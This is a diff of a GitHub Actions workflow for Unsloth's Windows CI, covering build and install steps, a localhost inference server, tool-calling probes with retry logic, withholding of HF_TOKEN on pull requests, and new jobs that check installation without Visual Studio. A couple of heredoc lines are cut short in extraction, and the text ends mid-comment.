name: Stop Studio + - name: Stop Unsloth if: always() # Run as cmd so we are not running through the Git Bash shell; # Git Bash on windows-latest has been observed to exit 143 # (SIGTERM) from any inline kill/sleep block, masking a green - # test run. The runner reclaims the Studio child process at + # test run. The runner reclaims the Unsloth child process at # job end either way, so just emit a marker and exit 0. shell: cmd - run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) - name: Collect llama-server logs if: always() @@ -378,10 +399,10 @@ jobs: # copy must not fail an otherwise-green job. continue-on-error: true shell: bash - # Copy llama-server's own stdout/stderr (teed by Studio under + # Copy llama-server's own stdout/stderr (teed by Unsloth under # ~/.unsloth/studio/logs/llama-server/) into the workspace so # upload-artifact can pick it up. Crucial for diagnosing a - # subprocess crash where Studio's traceback only shows the + # subprocess crash where Unsloth's traceback only shows the # symptom (httpx ReadError) but not the cause. run: | mkdir -p logs/llama-server @@ -419,14 +440,14 @@ jobs: # (211 s on first run; subsequent runs hit the cache, but the # one-time cost recurs every time the cache key bumps). Use # main's `--local-dir gguf-cache` pattern: cache the flat .gguf - # only, pass an absolute path to Studio's /api/inference/load. + # only, pass an absolute path to Unsloth's /api/inference/load. # The OpenAI/Anth and JSON+images jobs still cover the # gguf_variant resolution path. GGUF_REPO: unsloth/Qwen3.5-2B-GGUF GGUF_FILE: Qwen3.5-2B-UD-Q4_K_XL.gguf STUDIO_PORT: '18898' # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Studio CLI print "✓" checkmarks and crash + # download / Unsloth CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -458,7 +479,8 @@ jobs: id: download-gguf if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -486,7 +508,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Studio boots with an empty dist directory. + # rebuild" and Unsloth boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -502,11 +524,12 @@ jobs: } } - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -539,7 +562,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Studio shim to GITHUB_PATH + - name: Add Unsloth shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -549,9 +572,9 @@ jobs: fi cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH" - - name: Reset auth + boot Studio (API-only, default tool policy) + - name: Reset auth + boot Unsloth (API-only, default tool policy) run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -585,7 +608,7 @@ jobs: # raw string, but we cannot embed `\a` etc. in JSON without # JSON-string-escaping every backslash. Replace `\` with `/` # via bash parameter expansion -- pathlib.Path on Windows - # accepts forward slashes natively, so Studio's loader sees + # accepts forward slashes natively, so Unsloth's loader sees # a normal path. GGUF_PATH="${GITHUB_WORKSPACE//\\//}/gguf-cache/${GGUF_FILE}" ls -lh "$GGUF_PATH" @@ -612,6 +635,8 @@ jobs: python - <<'PY' import json import os + import time + import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -634,10 +659,41 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) - def post_sse(path, body, *, timeout = 600): + def post_sse(path, body, *, timeout = 600, retries = 1, soft = False): + # The server-side agentic loop always answers over SSE. A + # shared CI runner can stall the stream transport (the + # connection opening, or a mid-stream read) even when Unsloth + # is healthy, so harden the read three ways: + # * retry a transport stall once with a fresh request, + # capped at 300s (a healthy server answers a retry + # quickly, a wedged one never does); + # * return any text already streamed before a stall, so a + # stall on the trailing tokens -- after the answer + # arrived -- still counts; + # * when every attempt yields nothing, a hard call + # re-raises while a soft call (the best-effort + # server-side tool probes) returns None so the caller + # can WARN instead of sinking the whole job. + # HTTP status errors always surface immediately. body = {**body, "stream": True} data = json.dumps(body).encode() req = urllib.request.Request( @@ -649,24 +705,43 @@ jobs: "Content-Type": "application/json", }, ) - parts = [] - with urllib.request.urlopen(req, timeout = timeout) as resp: - for raw in resp: - line = raw.decode().strip() - if not line.startswith("data: "): - continue - payload = line[6:] - if payload == "[DONE]": - break - try: - chunk = json.loads(payload) - except json.JSONDecodeError: - continue - for choice in chunk.get("choices", []): - delta = choice.get("delta", {}) or {} - if delta.get("content"): - parts.append(delta["content"]) - return "".join(parts) + for attempt in range(retries + 1): + parts = [] + t = timeout if attempt == 0 else min(timeout, 300) + try: + with urllib.request.urlopen(req, timeout = t) as resp: + for raw in resp: + line = raw.decode().strip() + if not line.startswith("data: "): + continue + payload = line[6:] + if payload == "[DONE]": + break + try: + chunk = json.loads(payload) + except json.JSONDecodeError: + continue + for choice in chunk.get("choices", []): + delta = choice.get("delta", {}) or {} + if delta.get("content"): + parts.append(delta["content"]) + return "".join(parts) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + # Text already streamed is a valid signal -- keep it + # rather than re-running a heavy generation. + if parts: + joined = "".join(parts) + print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True) + return joined + if attempt == retries: + if soft: + print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True) + return None + raise + print(f"[retry-sse] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. Standard OpenAI function calling ────────────────────── weather_tool = { @@ -709,16 +784,24 @@ jobs: ) # ── 2. Server-side python tool ─────────────────────────────── + # Bound each soft probe to a single 180s attempt (timeout=180, + # retries=0): this job runs two of them back-to-back under a + # 30-minute cap, so the default 600+15+300s per stall could hit + # the workflow timeout before the thinking checks run. A soft + # probe only WARNs anyway, so a retry buys nothing. content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}], "enable_tools": True, + "permission_mode": "full", "enabled_tools": ["python"], "session_id": "ci-tool-calling-py", "temperature": TEMP, "seed": SEED, "max_tokens": 600, - }) - if "56088" in content or "56,088" in content: + }, timeout = 180, retries = 0, soft = True) + if content is None: + print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking") + elif "56088" in content or "56,088" in content: print(f"[tools] PASS python tool ({len(content)} chars, found 56088)") else: assert content, "python tool: SSE stream empty" @@ -735,13 +818,16 @@ jobs: content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Use the terminal tool to run `echo hello-bash-tool` and tell me the exact output."}], "enable_tools": True, + "permission_mode": "full", "enabled_tools": ["terminal"], "session_id": "ci-tool-calling-bash", "temperature": TEMP, "seed": SEED, "max_tokens": 600, - }) - if "hello-bash-tool" in content: + }, timeout = 180, retries = 0, soft = True) + if content is None: + print("[tools] WARN terminal tool: SSE transport stalled after retries -- non-blocking") + elif "hello-bash-tool" in content: print(f"[tools] PASS terminal tool ({len(content)} chars)") else: assert content, "terminal tool: SSE stream empty" @@ -757,12 +843,13 @@ jobs: content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}], "enable_tools": True, + "permission_mode": "full", "enabled_tools": ["web_search"], "session_id": "ci-tool-calling-web", "temperature": TEMP, "seed": SEED, "max_tokens": 400, - }) + }, timeout = 180, retries = 0) print(f"[tools] PASS web_search stream ({len(content)} chars)") except Exception as exc: print(f"[tools] WARN web_search probe failed (non-blocking): {exc}") @@ -796,15 +883,15 @@ jobs: print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)") PY - - name: Stop Studio + - name: Stop Unsloth if: always() # Run as cmd so we are not running through the Git Bash shell; # Git Bash on windows-latest has been observed to exit 143 # (SIGTERM) from any inline kill/sleep block, masking a green - # test run. The runner reclaims the Studio child process at + # test run. The runner reclaims the Unsloth child process at # job end either way, so just emit a marker and exit 0. shell: cmd - run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) - name: Collect llama-server logs if: always() @@ -812,10 +899,10 @@ jobs: # copy must not fail an otherwise-green job. continue-on-error: true shell: bash - # Copy llama-server's own stdout/stderr (teed by Studio under + # Copy llama-server's own stdout/stderr (teed by Unsloth under # ~/.unsloth/studio/logs/llama-server/) into the workspace so # upload-artifact can pick it up. Crucial for diagnosing a - # subprocess crash where Studio's traceback only shows the + # subprocess crash where Unsloth's traceback only shows the # symptom (httpx ReadError) but not the cause. run: | mkdir -p logs/llama-server @@ -853,7 +940,7 @@ jobs: STUDIO_PORT: '18899' HF_HOME: ${{ github.workspace }}/hf-cache # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Studio CLI print "✓" checkmarks and crash + # download / Unsloth CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -888,7 +975,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -918,7 +1006,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Studio boots with an empty dist directory. + # rebuild" and Unsloth boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -934,11 +1022,12 @@ jobs: } } - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -971,7 +1060,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Studio shim to GITHUB_PATH + - name: Add Unsloth shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -984,9 +1073,9 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: python -m pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -1039,6 +1128,8 @@ jobs: import base64 import json import os + import time + import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -1058,8 +1149,24 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. response_format = json_object (JSON mode) ───────────── status, data = post("/v1/chat/completions", { @@ -1156,7 +1263,7 @@ jobs: except Exception as exc: print( f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: " - f"{exc}. Studio successfully forwarded the request; failure here is " + f"{exc}. Unsloth successfully forwarded the request; failure here is " f"upstream llama.cpp vision behaviour." ) @@ -1197,19 +1304,19 @@ jobs: print( f"[image/anthropic] WARN anthropic image SDK call raised: " f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp vision " - f"behaviour, NOT a Studio regression." + f"behaviour, NOT an Unsloth regression." ) PY - - name: Stop Studio + - name: Stop Unsloth if: always() # Run as cmd so we are not running through the Git Bash shell; # Git Bash on windows-latest has been observed to exit 143 # (SIGTERM) from any inline kill/sleep block, masking a green - # test run. The runner reclaims the Studio child process at + # test run. The runner reclaims the Unsloth child process at # job end either way, so just emit a marker and exit 0. shell: cmd - run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) - name: Collect llama-server logs if: always() @@ -1217,10 +1324,10 @@ jobs: # copy must not fail an otherwise-green job. continue-on-error: true shell: bash - # Copy llama-server's own stdout/stderr (teed by Studio under + # Copy llama-server's own stdout/stderr (teed by Unsloth under # ~/.unsloth/studio/logs/llama-server/) into the workspace so # upload-artifact can pick it up. Crucial for diagnosing a - # subprocess crash where Studio's traceback only shows the + # subprocess crash where Unsloth's traceback only shows the # symptom (httpx ReadError) but not the cause. run: | mkdir -p logs/llama-server @@ -1239,3 +1346,624 @@ jobs: logs/install.log logs/llama-server/*.log retention-days: 7 + + # ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ── + no-vs-cpu: + name: Unsloth install + inference without Visual Studio + runs-on: windows-latest + timeout-minutes: 35 + defaults: + run: + shell: bash + env: + GGUF_REPO: unsloth/gemma-3-270m-it-GGUF + GGUF_VARIANT: UD-Q4_K_XL + GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18820' + HF_HOME: ${{ github.workspace }}/hf-cache + PYTHONIOENCODING: utf-8 + PYTHONUTF8: '1' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + + - name: Restore HF_HOME for ${{ env.GGUF_REPO }} + id: cache-hf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Prime HF_HOME with the GGUF + id: prime-hf + if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p hf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" + bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf + + - name: Save HF_HOME for ${{ env.GGUF_REPO }} + if: always() && steps.prime-hf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Pre-install Windows tweaks (npm 11 + Defender exclusions) + shell: pwsh + run: | + $ProgressPreference = 'SilentlyContinue' + npm install -g 'npm@^11' 2>&1 | Out-Host + foreach ($p in @( + "$env:USERPROFILE\.unsloth", + "$env:USERPROFILE\AppData\Local\uv", + "$env:GITHUB_WORKSPACE\studio\frontend\node_modules", + "$env:GITHUB_WORKSPACE\studio\frontend\dist" + )) { + try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { } + } + + - name: Prepare no-build-tools simulation + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' + $pf = Join-Path $root 'ProgramFiles' + $pfx86 = Join-Path $root 'ProgramFilesx86' + New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null + + $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase) + foreach ($tool in @('cmake', 'cl.exe')) { + foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) { + if ($cmd.Source) { + $dir = Split-Path -Parent $cmd.Source + if ($dir) { + [void] $blocked.Add( + [Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\')) + } + } + } + } + # Normalized comparison so registry spellings (trailing slash, + # unexpanded %VAR%) still match. + function Test-Blocked([string]$p) { + $n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\') + return $blocked.Contains($n) + } + + $pathParts = $env:Path -split [IO.Path]::PathSeparator | + Where-Object { $_ -and -not (Test-Blocked $_) } + $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator + + # install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment + # rebuild the session Path from these scopes mid-install, so filter + # them too. Originals are saved for the cleanup step. + foreach ($scope in @('Machine', 'User')) { + $orig = [Environment]::GetEnvironmentVariable('Path', $scope) + if (-not $orig) { continue } + Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline + $kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';' + [Environment]::SetEnvironmentVariable('Path', $kept, $scope) + Write-Host "Filtered $scope Path scope." + } + + "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PATH<&1 | Tee-Object -FilePath logs/install.log + + - name: Assert prebuilt used AND no build tools were installed + run: | + LLAMA_DIR=~/.unsloth/llama.cpp + INFO="$LLAMA_DIR/UNSLOTH_PREBUILT_INFO.json" + BIN="$LLAMA_DIR/build/bin/Release/llama-server.exe" + fail=0 + if grep -q "falling back to source build" logs/install.log; then + echo "::error::install.ps1 fell back to source-build llama.cpp without VS."; fail=1 + fi + # The deferred build-tool installs must NOT run on the prebuilt path. + for pat in "Kitware.CMake" "Microsoft.VisualStudio.2022.BuildTools" "installing via winget"; do + if grep -qi "$pat" logs/install.log; then + echo "::error::unexpected build-tool install on the prebuilt path: '$pat'"; fail=1 + fi + done + [ -f "$INFO" ] || { echo "::error::no UNSLOTH_PREBUILT_INFO.json"; ls -la "$LLAMA_DIR" || true; fail=1; } + [ -f "$BIN" ] || { echo "::error::no llama-server.exe"; ls -la "$LLAMA_DIR/build/bin" || true; fail=1; } + if [ "$fail" != "0" ]; then grep -iE "cmake|visual studio|prebuilt|source build" logs/install.log | tail -60; exit 1; fi + echo "Prebuilt installed with no build tools:" + cat "$INFO" + + - name: Add Unsloth shim to GITHUB_PATH + run: | + SHIM_DIR=~/.unsloth/studio/bin + [ -f "$SHIM_DIR/unsloth.exe" ] || { echo "::error::unsloth.exe shim not found"; ls -la ~/.unsloth/studio/ || true; exit 1; } + cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH" + + - name: Reset auth + boot Unsloth (API-only) + run: | + rm -rf ~/.unsloth/studio/auth + mkdir -p logs + UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ + > logs/studio.log 2>&1 & + echo "STUDIO_PID=$!" >> "$GITHUB_ENV" + + - name: Wait for /api/health, log in, load the GGUF + run: | + for i in $(seq 1 180); do + if curl -fs "http://127.0.0.1:${STUDIO_PORT}/api/health" > /tmp/health.json; then + jq -e '.status == "healthy"' /tmp/health.json && break + fi + sleep 1 + done + jq -e '.status == "healthy"' /tmp/health.json || { tail -200 logs/studio.log; exit 1; } + OLD=$(cat ~/.unsloth/studio/auth/.bootstrap_password) + NEW="CINoVS-$(python -c 'import secrets; print(secrets.token_urlsafe(12))')" + echo "::add-mask::$OLD" + echo "::add-mask::$NEW" + OLD_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \ + -H 'content-type: application/json' \ + -d "{\"username\":\"unsloth\",\"password\":\"$OLD\"}" | jq -r .access_token) + curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/change-password" \ + -H "Authorization: Bearer $OLD_TOKEN" -H 'content-type: application/json' \ + -d "{\"current_password\":\"$OLD\",\"new_password\":\"$NEW\"}" > /dev/null + TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \ + -H 'content-type: application/json' \ + -d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token) + echo "API_KEY=$TOKEN" >> "$GITHUB_ENV" + LOAD_OK=0 + for attempt in 1 2 3; do + HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \ + -X POST "http://127.0.0.1:${STUDIO_PORT}/api/inference/load" \ + -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \ + --max-time 600 \ + -d "{\"model_path\":\"$GGUF_REPO\",\"gguf_variant\":\"$GGUF_VARIANT\",\"is_lora\":false,\"max_seq_length\":2048}") + if [ "$HTTP" = "200" ]; then LOAD_OK=1; break; fi + echo "::warning::/api/inference/load attempt $attempt returned $HTTP"; cat /tmp/load.json || true; sleep 10 + done + [ "$LOAD_OK" = "1" ] || { echo "::error::/api/inference/load failed 3 attempts"; exit 22; } + jq '{status, display_name, is_gguf}' /tmp/load.json + + - name: Inference works via the prebuilt llama.cpp (no VS) + run: | + RESP=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/v1/chat/completions" \ + -H "Authorization: Bearer $API_KEY" -H 'content-type: application/json' \ + --max-time 240 \ + -d '{"model":"default","messages":[{"role":"user","content":"What is 1+1? Answer briefly."}],"temperature":0,"max_tokens":32,"stream":false}') + echo "$RESP" | jq '.choices[0].message' || { echo "$RESP"; exit 1; } + CONTENT=$(echo "$RESP" | jq -r '.choices[0].message.content') + [ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; } + echo "Inference OK without Visual Studio: $CONTENT" + + - name: Clean no-build-tools simulation + if: always() + shell: pwsh + run: | + $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' + foreach ($scope in @('Machine', 'User')) { + $saved = Join-Path $root "orig-path-$scope.txt" + if (Test-Path -LiteralPath $saved) { + [Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope) + Write-Host "Restored $scope Path scope." + } + } + Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue + + - name: Stop Unsloth + if: always() + shell: cmd + run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + + - name: Collect llama-server logs + if: always() + continue-on-error: true + run: | + mkdir -p logs/llama-server + cp -v ~/.unsloth/studio/logs/llama-server/*.log logs/llama-server/ 2>/dev/null || echo "no llama-server logs" + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: windows-no-vs-cpu-log + path: | + logs/install.log + logs/studio.log + logs/llama-server/*.log + retention-days: 7 + + # ───────────────────────────────────────────────────────────────────── + # Job B: the GPU (CUDA) prebuilt path is also VS-free (resolve/availability) + # ───────────────────────────────────────────────────────────────────── + no-vs-gpu-resolve: + name: GPU prebuilt resolves without Visual Studio + runs-on: windows-latest + timeout-minutes: 15 + defaults: + run: + shell: bash + env: + PYTHONIOENCODING: utf-8 + PYTHONUTF8: '1' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + + - name: Prepare no-build-tools simulation + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools' + $pf = Join-Path $root 'ProgramFiles' + $pfx86 = Join-Path $root 'ProgramFilesx86' + New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null + + $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase) + foreach ($tool in @('cmake', 'cl.exe')) { + foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) { + if ($cmd.Source) { + $dir = Split-Path -Parent $cmd.Source + if ($dir) { [void] $blocked.Add($dir) } + } + } + } + + $pathParts = $env:Path -split [IO.Path]::PathSeparator | + Where-Object { $_ -and -not $blocked.Contains($_) } + $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator + + "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8 + "NO_BUILD_TOOLS_PATH< /tmp/rel.json + echo "release: $(jq -r .tag_name /tmp/rel.json)" + ASSETS=$(jq -r '.assets[].name' /tmp/rel.json) + echo "$ASSETS" | grep -iE 'windows-x64-cuda[0-9]' || { + echo "::error::no Windows x64 CUDA prebuilt asset found in unslothai/llama.cpp latest release" + echo "$ASSETS"; exit 1; } + # AMD parity: hosted runners have no AMD GPU, so the resolver step below + # can't exercise the ROCm path (it resolves to CPU). Pin the per-gfx + # Windows ROCm bundles here so a release that drops them fails loudly -- + # the AMD no-VS guarantee otherwise rides only on shared resolver code. + echo "$ASSETS" | grep -iE 'windows-x64-rocm-gfx' || { + echo "::error::no Windows x64 ROCm (per-gfx) prebuilt asset found in unslothai/llama.cpp latest release" + echo "$ASSETS"; exit 1; } + echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling." + + - name: The prebuilt resolver runs without Visual Studio + shell: pwsh + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + $ErrorActionPreference = 'Stop' + # pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the + # python child inherits the overrides. + $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES + ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86 + $env:Path = $env:NO_BUILD_TOOLS_PATH + # Resolver-only (no GPU on hosted runners, so the host resolves to the + # CPU bundle). The point is that resolution needs no compiler/VS. + python -m pip install --upgrade huggingface_hub + if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 } + python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json + if ($LASTEXITCODE -ne 0) { + Write-Host "::error::resolver exited non-zero" + if (Test-Path resolve.json) { Get-Content resolve.json } + exit 1 + } + Get-Content resolve.json + Write-Host "Prebuilt resolver ran with no Visual Studio present." + + - name: Clean no-build-tools simulation + if: always() + shell: pwsh + run: | + Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue + + # ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ── + pester: + name: setup.ps1 unit tests (VS 2026 / CMake guard) + runs-on: windows-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Install Pester v5 + shell: pwsh + run: | + # PSGallery is intermittently absent from the repository list on GitHub's Windows + # runners, 